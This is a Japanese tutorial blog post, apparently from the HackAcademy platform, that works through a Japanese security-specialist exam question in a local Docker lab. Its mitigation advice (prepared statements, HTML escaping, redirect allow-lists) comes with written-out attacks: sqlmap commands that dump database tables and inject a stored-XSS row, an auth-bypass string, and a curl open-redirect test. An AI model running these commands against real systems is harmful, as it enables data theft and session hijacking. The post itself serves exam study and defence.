はじめに
「情報処理安全確保支援士試験の過去問、文章を読むだけじゃイマイチ身につかない…」
そう感じたことはありませんか?
この記事では、私が勉強のために作ったHackAcademy の擬似体験ラボを使って、平成29年度秋期 情報処理安全確保支援士
午後1問2の内容を実際に手を動かしながら体験・解説します。
ラボでは本物に近い脆弱なWebアプリ(Wシステム)をDockerで起動し、実際にSQLインジェクション攻撃を仕掛けたり、XSSを発動させ
たり、コードを修正したりできます。
問題の舞台:Wシステムとは
概要
A社では、社内のマーケティング担当者向けに**WEBマーケティング分析システム(Wシステム)**を運用しています。
- 社内LAN限定で利用
- ログイン → ダッシュボード → キャンペーン検索 という画面構成
- Java(Servlet)で実装
- 開発者:役員T氏(仕様策定)+ システム担当K氏(実装)
試験では「このシステムに脆弱性診断を行ったらどんな問題が見つかるか?」という視点で問題が構成されています。
今回扱う脆弱性
| 脆弱性 | 発生箇所 |
|---|---|
| SQLインジェクション | キャンペーン検索機能 |
| 格納型XSS | 検索結果の表示部分 |
| オープンリダイレクト | ログイン後のリダイレクト処理 |
事前準備:Dockerでターゲット環境を起動
ラボの演習ページを開くと、まず以下の操作を求められます。
(環境構築が完了した前提です。)
cd W-system
docker compose up -d
http://localhost:8080/ にアクセスし、以下でログインできれば準備完了です。
- ID: admin
- PASS: password123
ラボ画面は左ペインに設問・右ペインにターミナルが表示される分割レイアウトで、ブラウザとコマンドラインを行き来しながら演習
を進めます。
Step 0:脆弱性の基礎知識を確認する
演習前に、今回扱う3つの脆弱性を整理しておきましょう。
- 格納型XSS(Stored Cross-Site Scripting)
悪意のあるスクリプトがDBに保存され、他のユーザーがページを開いたときに自動実行される脆弱性です。セッションハイジャックや
サイト改ざんの原因になります。
原因:ユーザー入力をエスケープせずそのまま出力すること
対策
┌────────┬───────────────────┬─────────────────────────────────────────────┐
│ 重要度 │ 対策 │ 補足 │
├────────┼───────────────────┼─────────────────────────────────────────────┤
│ 必須 │ HTMLエスケープ │ htmlspecialchars() など言語標準の関数を使う │
├────────┼───────────────────┼─────────────────────────────────────────────┤
│ 必須 │ HttpOnly Cookie │ JavaScriptからCookieを読めなくする │
├────────┼───────────────────┼─────────────────────────────────────────────┤
│ 推奨 │ CSPヘッダーの設定 │ インラインスクリプトの実行を制限する │
└────────┴───────────────────┴─────────────────────────────────────────────┘
- SQLインジェクション
ユーザー入力をSQL文に直接連結することで、不正なSQL命令が実行される脆弱性です。機密情報の漏洩やデータ改ざんを引き起こしま
す。
原因:"SELECT * FROM users WHERE name = '" + input + "'" のような文字列連結
対策
┌────────┬──────────────────────────┬──────────────────────────────────────┐
│ 重要度 │ 対策 │ 補足 │
├────────┼──────────────────────────┼──────────────────────────────────────┤
│ 必須 │ プリペアドステートメント │ 命令とデータを分離する最も確実な方法 │
├────────┼──────────────────────────┼──────────────────────────────────────┤
│ 必須 │ 最小権限の原則 │ DBアカウントに必要な権限のみ付与する │
├────────┼──────────────────────────┼──────────────────────────────────────┤
│ 推奨 │ エラーメッセージの抑制 │ DB構造をエラーで外部に漏らさない │
└────────┴──────────────────────────┴──────────────────────────────────────┘
- オープンリダイレクト
リダイレクト先URLを検証せずそのまま使うことで、攻撃者がフィッシングサイトへ誘導できる脆弱性です。
原因:header("Location: " . $_GET['url']) のような無検証のリダイレクト
対策
┌────────┬──────────────────────────────────────────────────────────────────┐
│ 重要度 │ 対策 │
├────────┼──────────────────────────────────────────────────────────────────┤
│ 必須 │ リダイレクト先を自サイトドメインのみに限定(ホワイトリスト方式) │
├────────┼──────────────────────────────────────────────────────────────────┤
│ 推奨 │ 相対パス(/ 始まり)のみ許可 │
├────────┼──────────────────────────────────────────────────────────────────┤
│ 推奨 │ リダイレクト先を固定化して機能廃止 │
└────────┴──────────────────────────────────────────────────────────────────┘
Step 1:SQLインジェクションでFlagを奪取する
設問1:通常の検索動作を確認
まず正常な操作をしてみます。ログイン後、キャンペーン検索画面で 春の
と検索すると、該当するキャンペーンが表形式で表示されます。これが正常な動作です。
設問2:sqlmapでデータを抜き取る
Wシステムの検索機能はユーザー入力をSQLに直接連結しており、SQLインジェクションが可能です。自動化ツール sqlmap
を使って段階的に調査します。
まずブラウザのDevTools(F12 → Application → Cookies)から JSESSIONID の値をコピーしておきます。
Step 1:データベース名の特定
sqlmap -u "http://web:8080/SearchServlet"
--data="cname=test"
--cookie="JSESSIONID=<コピーした値>"
--dbs
Step 2:テーブル名の特定(-D w_system でDB指定)
sqlmap -u "http://web:8080/SearchServlet"
--data="cname=test"
--cookie="JSESSIONID=<コピーした値>"
-D w_system --tables
Step 3:データのダンプ(campaigns テーブルの中に Flag が隠れています)
sqlmap -u "http://web:8080/SearchServlet"
--data="cname=test"
--cookie="JSESSIONID=<コピーした値>"
-D w_system -T campaigns --dump
flag{...} の形式でFlagが表示されれば成功です。
設問3:この脆弱性の影響範囲
SQLインジェクションで攻撃者が実行できることを選ぶ設問です。
┌─────────────────────────────────┬──────┬────────────────────────────────────────┐
│ 選択肢 │ 判定 │ 解説 │
├─────────────────────────────────┼──────┼────────────────────────────────────────┤
│ A. DBの保存データを不正取得 │ ✅ │ --dump で実際に取得できた │
├─────────────────────────────────┼──────┼────────────────────────────────────────┤
│ B. データの削除・改ざん │ ✅ │ INSERT/DELETE/UPDATE も注入可能 │
├─────────────────────────────────┼──────┼────────────────────────────────────────┤
│ C. ログインの認証回避 │ ✅ │ ' OR '1'='1 のような攻撃が可能 │
├─────────────────────────────────┼──────┼────────────────────────────────────────┤
│ D. Webルートの画像ファイル削除 │ ❌ │ ファイルシステム操作はSQLiの範囲外 │
├─────────────────────────────────┼──────┼────────────────────────────────────────┤
│ E. サーバーで不正プログラム実行 │ ❌ │ SQLiだけでは通常不可(権限・設定次第) │
└─────────────────────────────────┴──────┴────────────────────────────────────────┘
正解は A・B・C です。
設問4:格納型XSSを仕掛ける(SQLiとXSSの連鎖)
SQLインジェクションを使って、DBにXSS攻撃コードを書き込みます。
sqlmap -u "http://web:8080/SearchServlet"
--data="cname=test"
--cookie="JSESSIONID=<コピーした値>"
--sql-query "INSERT INTO campaigns (cname, content, registered_by) VALUES
('春キャンペーン速報',
'',
'attacker')"
注入後、Wシステムで 春キャンペーン速報 と検索すると、「【XSS発動】セッションID: JSESSIONID=...」 というアラートが自動的に
表示されます。これが格納型XSSの動作です。DBに仕込まれたスクリプトが、他のユーザーが検索するたびに発動します。
発展チャレンジ:sqlmapを使わず、検索欄に %'; INSERT INTO ... ; -- の形式で直接SQLを入力しても同じことができます。
Step 2:脆弱なコードを修正する
実際に攻撃を体験したあとは、コードを修正する設問です。
修正のポイント
Wシステムの SearchServlet(Java)には2つの問題があります。
問題 1:SQL文字列の直接連結 → SQLインジェクション
脆弱なコードは cname をそのまま LIKE '% + cname + %' に連結しています。PreparedStatement
を使うことで命令とデータを分離し、SQLiを防ぎます。
// 修正前:文字列連結(危険)
String sql = "SELECT * FROM campaigns WHERE cname LIKE '%" + cname + "%'";
Statement stmt = conn.createStatement();
// 修正後:プリペアドステートメント(安全)
String sql = "SELECT * FROM campaigns WHERE cname LIKE ?";
PreparedStatement pstmt = conn.prepareStatement(sql);
pstmt.setString(1, "%" + cname + "%");
問題 2:DB値のそのまま出力 → XSS
DBから取得した cname を
タグに囲んでそのまま出力しています。出力時にHTMLエスケープを行います。
// 修正前:エスケープなし(危険)
out.println("
" + rs.getString("cname") + "
");// 修正後:エスケープ後に出力(安全)
String safeName = escapeHtml(rs.getString("cname"));
out.println("
" + safeName + "
");Step 3:オープンリダイレクトを悪用する
正常な動作の確認
Wシステムにはログイン後に元のページへ戻る機能があります。
ログイン成功後、redirect_url で指定したページに自動遷移する便利な機能です。
設問6:フィッシング用URLの作成
しかし redirect_url の値を検証していないため、外部サイトへのリダイレクトも可能です。
攻撃者はこんなURLを作れます:
ドメイン部分は正規の hackacademy.jp
なので、被害者は油断してクリックします。ログイン後、気づかぬうちに別のサイトへ飛ばされます。
ターミナルで挙動を確認するには以下のコマンドを実行します。
curl -v
-d "user_id=admin&password=password123&redirect_url=http://google.com"
http://web:8080/LoginServlet
レスポンスに HTTP/1.1 302 Found と Location: http://google.com
が含まれていれば成功です。これが「サーバーがブラウザにGoogleへ飛べと命令している」証拠です。
まとめ:3つの脆弱性の連鎖
この問題の核心は、SQLi・XSS・オープンリダイレクトが連鎖する攻撃シナリオにあります。
SQLインジェクション
├─ DBのデータ読み取り(Flag奪取)
└─ DBへ不正データ書き込み
└─ 格納型XSS(他のユーザーにスクリプト発動)
└─ セッションIDを盗む → セッションハイジャック
オープンリダイレクト
└─ 正規URLを装ったフィッシングURL作成
└─ ユーザーをだまして偽サイトへ誘導
試験でも「この脆弱性が引き起こす別の攻撃」という複合的な視点が問われます。実際に手を動かすと、この連鎖がリアルに体感でき
ます。
対策まとめ
┌──────────────────────┬────────────────────────────────────────────────┐
│ 脆弱性 │ 根本的な対策 │
├──────────────────────┼────────────────────────────────────────────────┤
│ SQLインジェクション │ PreparedStatement でSQLと値を分離する │
├──────────────────────┼────────────────────────────────────────────────┤
│ 格納型XSS │ 出力時に必ずHTMLエスケープ + HttpOnly Cookie │
├──────────────────────┼────────────────────────────────────────────────┤
│ オープンリダイレクト │ リダイレクト先を自サイトドメインのみに限定する │
└──────────────────────┴────────────────────────────────────────────────┘
おわりに
HackAcademyの擬似体験ラボを使うと、テキストを読むだけでは分かりにくい「攻撃の手順」「被害の実感」「修正の意味」が体で理解
できます。
情報処理安全確保支援士の試験は知識問題だけでなく、「なぜ危険なのか」「どう修正するか」という実践的な思考力が問われます。
ラボで手を動かして、両方を身につけましょう。
この過去問の内容について解釈違い、指摘などありましたらコメントお願いします。
HackAcademyは情報セキュリティを学ぶ学習者向けのプラットフォームです。擬似体験ラボは許可された環境内での学習を目的としてい
ます。